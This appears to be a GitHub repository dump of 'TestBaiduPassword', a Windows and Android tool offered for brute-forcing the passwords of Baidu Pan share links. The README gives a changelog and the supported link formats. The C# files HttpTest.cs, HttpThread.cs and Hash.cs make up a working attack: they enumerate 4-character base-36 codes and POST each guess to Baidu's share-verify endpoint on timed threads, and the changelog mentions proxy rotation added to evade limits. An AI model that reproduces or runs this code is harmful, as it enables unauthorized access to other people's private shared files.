├── .github
└── FUNDING.yml
├── Application
├── TestPassword.apk
└── TestPassword.exe
├── README.md
├── TestPassword PRO V1.8.0.4
├── TestPassword.sln
└── TestPassword
│ ├── Hash.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
├── TestPassword V1.0.0.0 APK
├── .gitignore
├── .idea
│ ├── gradle.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── runConfigurations.xml
├── app
│ ├── .gitignore
│ ├── build.gradle
│ ├── proguard-rules.pro
│ └── src
│ │ ├── androidTest
│ │ └── java
│ │ │ └── com
│ │ │ └── zgcwkj
│ │ │ └── baidupantest
│ │ │ └── testpassword
│ │ │ └── ExampleInstrumentedTest.java
│ │ ├── main
│ │ ├── AndroidManifest.xml
│ │ ├── ic_launcher-web.png
│ │ ├── java
│ │ │ └── com
│ │ │ │ └── zgcwkj
│ │ │ │ └── baidupantest
│ │ │ │ └── testpassword
│ │ │ │ └── MainActivity.java
│ │ └── res
│ │ │ ├── drawable-v24
│ │ │ └── ic_launcher_foreground.xml
│ │ │ ├── drawable
│ │ │ └── ic_launcher_background.xml
│ │ │ ├── layout
│ │ │ └── activity_main.xml
│ │ │ ├── mipmap-anydpi-v26
│ │ │ ├── ic_launcher.xml
│ │ │ └── ic_launcher_round.xml
│ │ │ ├── mipmap-hdpi
│ │ │ ├── ic_launcher.png
│ │ │ ├── ic_launcher_foreground.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-mdpi
│ │ │ ├── ic_launcher.png
│ │ │ ├── ic_launcher_foreground.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xhdpi
│ │ │ ├── ic_launcher.png
│ │ │ ├── ic_launcher_foreground.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ ├── ic_launcher_foreground.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ ├── ic_launcher_foreground.png
│ │ │ └── ic_launcher_round.png
│ │ │ └── values
│ │ │ ├── colors.xml
│ │ │ ├── ic_launcher_background.xml
│ │ │ ├── strings.xml
│ │ │ └── styles.xml
│ │ └── test
│ │ └── java
│ │ └── com
│ │ └── zgcwkj
│ │ └── baidupantest
│ │ └── testpassword
│ │ └── ExampleUnitTest.java
├── build.gradle
├── gradle.properties
├── gradle
│ └── wrapper
│ │ ├── gradle-wrapper.jar
│ │ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
├── TestPassword V1.0.0.0
├── TestPassword.sln
└── TestPassword
│ ├── Access.cs
│ ├── GoFind.cs
│ ├── Hash.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
├── TestPassword V1.8.0.4
├── TestPassword.sln
└── TestPassword
│ ├── Hash.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
├── TestPassword V1.8.0.5
├── TestPassword.sln
└── TestPassword
│ ├── Hash.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
├── TestPassword V1.8.0.6
├── TestPassword.sln
└── TestPassword
│ ├── Hash.cs
│ ├── HttpHelp.cs
│ ├── HttpProxy.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
├── TestPassword V1.8.1.0
├── TestPassword.sln
└── TestPassword
│ ├── Hash.cs
│ ├── HttpHelp.cs
│ ├── HttpProxy.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── Proxy.Designer.cs
│ ├── Proxy.cs
│ ├── Proxy.resx
│ ├── StaticClass.cs
│ ├── TestPassword.csproj
│ ├── ico.ico
│ └── ico.png
└── TestPassword V1.8.1.1
├── TestPassword.sln
└── TestPassword
├── Hash.cs
├── HttpTest.cs
├── HttpThread.cs
├── Main.Designer.cs
├── Main.cs
├── Main.resx
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
├── Resources.resx
├── Settings.Designer.cs
└── Settings.settings
├── Proxy.Designer.cs
├── Proxy.cs
├── Proxy.resx
├── StaticClass.cs
├── TestPassword.csproj
├── ico.ico
└── ico.png
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: [zgcwkj, admin] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: # Replace with a single Patreon username
5 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
6 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
7 | liberapay: # Replace with a single Liberapay username
8 | issuehunt: # Replace with a single IssueHunt username
9 | otechie: # Replace with a single Otechie username
10 | custom: http://blog.zgcwkj.top # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
11 |
--------------------------------------------------------------------------------
/Application/TestPassword.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/Application/TestPassword.apk
--------------------------------------------------------------------------------
/Application/TestPassword.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/Application/TestPassword.exe
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # TestBaiduPassword
2 | 百度网盘分享文件密码测试器
3 |
4 | 关联帖子:https://www.52pojie.cn/thread-680681-1-1.html
5 |
6 | ```
7 | PS:如果是要使用旧版的程序请下载源码进行编译,谢谢
8 | ```
9 |
10 | ## 更新历史:
11 |
12 | 1.8.1.1(2018-11-03)
13 |
14 | >调整内部机制,避免使用起来导致占用内存过多的问题
15 |
16 | >修改代理功能实现,调整代理为程序内部,也就是说不影响系统的网络
17 |
18 | >修复多线程导致 代理块 出现严重的问题
19 |
20 | >更正一个很严重的问题:多线程导致 密码精度 缺失一个的问题
21 |
22 | >优化大部分代理逻辑问题(具体实测)
23 |
24 | 1.8.1.0(2018-10-17)
25 |
26 | >修复 1806 版的代理代码判断错误问题
27 |
28 | >删除启动时判断网络代码块
29 |
30 | >优化代理文件生成的方法(具体实测)
31 |
32 | >优化代理的代码逻辑问题
33 |
34 | 1.8.0.6(2018-06-14)
35 |
36 | >增加代理服务人口(测试阶段) ==》kTWO 提供技术支持
37 |
38 | >优化逻辑代码,整理代码等
39 |
40 | 1.8.0.5(2018-05-29)
41 |
42 | >优化判断等逻辑问题,增加安卓端APP
43 |
44 | 1.8.0.4 PRO(2018-04-13)
45 |
46 | >增加调用API,尝试直接获取密码
47 |
48 | 1.8.0.4(2018-04-12)
49 |
50 | >更新了线程可停止功能
51 |
52 | >支持恢复上一次检索链接的数据
53 |
54 | >等。。。。。
55 |
56 | 1.0.0.0(0000-00-00)
57 |
58 | >基本的功能搭建 ==》Matrix 提供技术支持
59 |
60 | >其它忘记了
61 |
62 | 根据 https://www.52pojie.cn/thread-629100-1-1.html 进行优化
63 |
64 | ## 功能特色:
65 |
66 | 在原本的基础上添加对链接的兼容。格式如下面:
67 |
68 | http://pan.baidu.com/share/init?surl=xxx
69 |
70 | https://pan.baidu.com/share/init?surl=xxx
71 |
72 | http://pan.baidu.com/s/1xxx
73 |
74 | https://pan.baidu.com/s/1xxx
75 |
76 | ## 一些笔记:
77 |
78 | ```
79 | 程序的多线程坑:
80 |
81 | 线程和任务是 N 对 1 ,存在重复调用问题导致方法块的冲突,以我的现在的技术是实现不了太难调
82 |
83 | 线程和任务是 N 对 N ,不存在重复调用问题也就不会导致方法块的冲突,这种实现相对简单
84 | ```
85 |
86 | ## 转载声明:
87 |
88 | 本程序可以通过任何方式进行转载,但请务必保留开源的地址以便我能够及时发现 BUG 以及使用者在使用过程中出现了 BUG 也能够很好的进行反馈
89 |
90 | ## 项目贡献者:
91 |
92 | zgcwkj 博客:http://blog.zgcwkj.cn
93 |
94 | Matrix 博客:http://www.imwxz.com
95 |
96 | kTWO 博客:http://www.k2zone.cn
97 |
98 | ## 本源码仅提供参考,如因本代码导致出现的任何问题和所有开发者无关
99 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace zgcwkj
7 | {
8 | public static class Hash
9 | {
10 | //哈希类 36进制
11 | //有效哈希[10000000,11679615]
12 | #region 只支持4位 By MXWXZ
13 | public static string HashTo4Str(int hash)
14 | {
15 | string ret = "";
16 | hash -= 10000000;
17 | while (hash > 0)
18 | {
19 | ret += Hash2Char(hash % 36);
20 | hash /= 36;
21 | }
22 | if (ret.Length == 3) ret += "0";//前导零
23 | if (ret.Length == 2) ret += "00";
24 | if (ret.Length == 1) ret += "000";
25 | if (ret.Length == 0) ret += "0000";
26 | return reverse(ret);
27 | }
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 | #endregion
39 | #region 只支持6位 By zgcwkj
40 | public static string HashTo6Str(int hash)
41 | {
42 | string ret = "";
43 | hash -= 100000;
44 | while (hash > 0)
45 | {
46 | ret += Hash2Char(hash % 36);
47 | hash /= 36;
48 | }
49 | if (ret.Length == 5) ret += "0";//前导零
50 | if (ret.Length == 4) ret += "00";
51 | if (ret.Length == 3) ret += "000";
52 | if (ret.Length == 2) ret += "0000";
53 | if (ret.Length == 1) ret += "00000";
54 | if (ret.Length == 0) ret += "000000";
55 | return reverse(ret);
56 | }
57 | public static int StrTo6Hash(string str)
58 | {
59 | int ret = 0;
60 | ret += Char2Hash(str[0]) * 60466176;
61 | ret += Char2Hash(str[1]) * 1679616;
62 | ret += Char2Hash(str[2]) * 46656;
63 | ret += Char2Hash(str[3]) * 1296;
64 | ret += Char2Hash(str[4]) * 36;
65 | ret += Char2Hash(str[5]);
66 | ret += 100000;//防止前导零
67 | return ret;
68 | }
69 | #endregion
70 | private static int Char2Hash(char c)
71 | {
72 | if (c >= '0' && c <= '9') return c - '0';
73 | else return c - 'a' + 10;
74 | }
75 | private static char Hash2Char(int hash)
76 | {
77 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
78 | else return (char)('a' + hash - 10);
79 | }
80 | private static string reverse(string str)
81 | {
82 | char[] arr = str.ToCharArray();
83 | Array.Reverse(arr);
84 | return new string(arr);
85 | }
86 | }
87 | }
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/HttpTest.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Net;
5 | using System.Text;
6 |
7 | namespace zgcwkj
8 | {
9 | ///
10 | /// Http测试类(百度网盘分享连接密码测试)
11 | ///
12 | public class HttpTest
13 | {
14 | string info = "";//唯一识别文件的值
15 | ///
16 | /// 实例测试类
17 | ///
18 | /// 访问的链接
19 | public HttpTest(string url)
20 | {
21 | info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
22 | }
23 | ///
24 | /// 访问网页
25 | ///
26 | ///
27 | public string Get()
28 | {
29 | return HttpGet("https://pan.baidu.com/share/init?" + info);
30 | }
31 | ///
32 | /// 提交密码
33 | ///
34 | /// 密码
35 | ///
36 | public string Post(string pwd)
37 | {
38 | DateTime time = DateTime.Now;
39 | DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
40 | string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
41 |
42 | string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
43 | string data = "pwd=" + pwd + "&vcode=&vcode_str=";
44 |
45 | return HttpPost(url, data);
46 | }
47 | #region 网络请求
48 | CookieContainer cookie = new CookieContainer();
49 | #region Get请求
50 | ///
51 | /// 请求路径
52 | ///
53 | /// 请求的路径
54 | /// 返回请求的网页数据
55 | private string HttpGet(string Url)
56 | {
57 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
58 | request.Method = "GET";
59 | request.ContentType = "text/html;charset=UTF-8";
60 | request.CookieContainer = cookie;
61 |
62 | try
63 | {
64 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
65 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
66 | string retString = myStreamReader.ReadToEnd();
67 | myStreamReader.Close();
68 | return retString;
69 | }
70 | catch (Exception e)
71 | {
72 | return e.Message;
73 | }
74 | }
75 | #endregion
76 | #region Post请求
77 | ///
78 | /// 提交数据
79 | ///
80 | /// 提交的路径
81 | /// 提交的数据
82 | /// 返回结果
83 | private string HttpPost(string Url, string Data)
84 | {
85 | try
86 | {
87 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
88 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
89 | request.Referer = "https://pan.baidu.com/share/init?" + info;
90 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
91 | request.CookieContainer = cookie;
92 | request.Method = "POST";
93 |
94 | Stream myRequestStream = request.GetRequestStream();
95 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
96 | myRequestStream.Write(postBytes, 0, postBytes.Length);
97 |
98 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
99 | response.Cookies = cookie.GetCookies(response.ResponseUri);
100 |
101 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
102 | string retString = myStreamReader.ReadToEnd();
103 | myStreamReader.Close();
104 |
105 | return retString;
106 | }
107 | catch (Exception ex)
108 | {
109 | return ex.Message;
110 | }
111 | }
112 | #endregion
113 | #endregion
114 | }
115 | }
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 | using System.Timers;
7 |
8 | namespace zgcwkj
9 | {
10 | public class HttpThread
11 | {
12 | Main myMain;//主窗体
13 | int StartValue = 0;//基值
14 | int NumberValue = 0;//剩余次数
15 | Timer timer;//线程
16 | string ThreadID;//线程ID
17 |
18 | ///
19 | /// http请求线程类
20 | ///
21 | /// 主窗体
22 | /// 线程名称
23 | /// 开始值
24 | /// 结束值
25 | /// 线程速度
26 | public HttpThread(Main main, string name, int start, int number, int interval)
27 | {
28 | myMain = main;
29 | StartValue = start;
30 | NumberValue = number;
31 | ThreadID = StaticClass.file + "/" + name;
32 | timer = new Timer(interval);
33 | }
34 | ///
35 | /// 启动线程
36 | ///
37 | ///
38 | public HttpThread Start()
39 | {
40 | #region 载入历史参数
41 | try
42 | {
43 | if (File.Exists(ThreadID + ".ini"))
44 | {
45 | string _start = File.ReadAllText(ThreadID + ".ini");
46 | if (_start != "") StartValue = Convert.ToInt32(_start);
47 | }
48 | }
49 | catch { }
50 | #endregion
51 | timer.Elapsed += new ElapsedEventHandler(_Timer);
52 | timer.Start();
53 | return this;
54 | }
55 | private void _Timer(object sender, ElapsedEventArgs e)
56 | {
57 | Timer timer = sender as Timer;
58 | if (NumberValue < StartValue || StaticClass.status)
59 | {
60 | #region 保存历史参数
61 | try
62 | {
63 | File.Delete(ThreadID + ".ini");
64 | File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
65 | }
66 | catch { }
67 | #endregion
68 | timer.Stop();
69 | }
70 | else
71 | {
72 | string password = Hash.HashTo4Str(StartValue);
73 | HttpTest httptest = new HttpTest(StaticClass.url);
74 | myMain.ModifyStr(httptest.Post(password), password);
75 | StartValue = StartValue + 1;
76 | }
77 | }
78 | }
79 | }
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace zgcwkj
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// 应用程序的主入口点。
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Main());
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
9 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("zgcwkj")]
12 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("zgcwkj")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | //将 ComVisible 设置为 false 将使此程序集中的类型
18 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”: :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.8.0.4")]
36 | [assembly: AssemblyFileVersion("1.8.0.4")]
37 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Text;
7 |
8 | namespace zgcwkj
9 | {
10 | ///
11 | /// 静态类
12 | ///
13 | public static class StaticClass
14 | {
15 | #region 静态字符串
16 | ///
17 | /// 线程状态
18 | ///
19 | public static bool status { get; set; }
20 | ///
21 | /// 目标连接
22 | ///
23 | public static string url { get; set; }
24 | ///
25 | /// 存放的路径
26 | ///
27 | public static string file { get; set; }
28 | #endregion
29 |
30 | #region 静态方法
31 | ///
32 | /// Get请求
33 | ///
34 | public static string HttpGet(string Url)
35 | {
36 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
37 | request.Method = "GET";
38 | request.ContentType = "text/html;charset=UTF-8";
39 |
40 | try
41 | {
42 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
43 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
44 | string retString = myStreamReader.ReadToEnd();
45 | myStreamReader.Close();
46 | return retString;
47 | }
48 | catch (Exception e)
49 | {
50 | return e.Message;
51 | }
52 | }
53 | #endregion
54 | }
55 | }
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | Form
55 |
56 |
57 | Main.cs
58 |
59 |
60 |
61 |
62 |
63 | Main.cs
64 |
65 |
66 | ResXFileCodeGenerator
67 | Resources.Designer.cs
68 | Designer
69 |
70 |
71 | True
72 | Resources.resx
73 | True
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | Settings.settings
82 | True
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword PRO V1.8.0.4/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword PRO V1.8.0.4/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword PRO V1.8.0.4/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/workspace.xml
5 | /.idea/libraries
6 | .DS_Store
7 | /build
8 | /captures
9 | .externalNativeBuild
10 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/.idea/gradle.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
17 |
18 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 | Android
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/.idea/runConfigurations.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
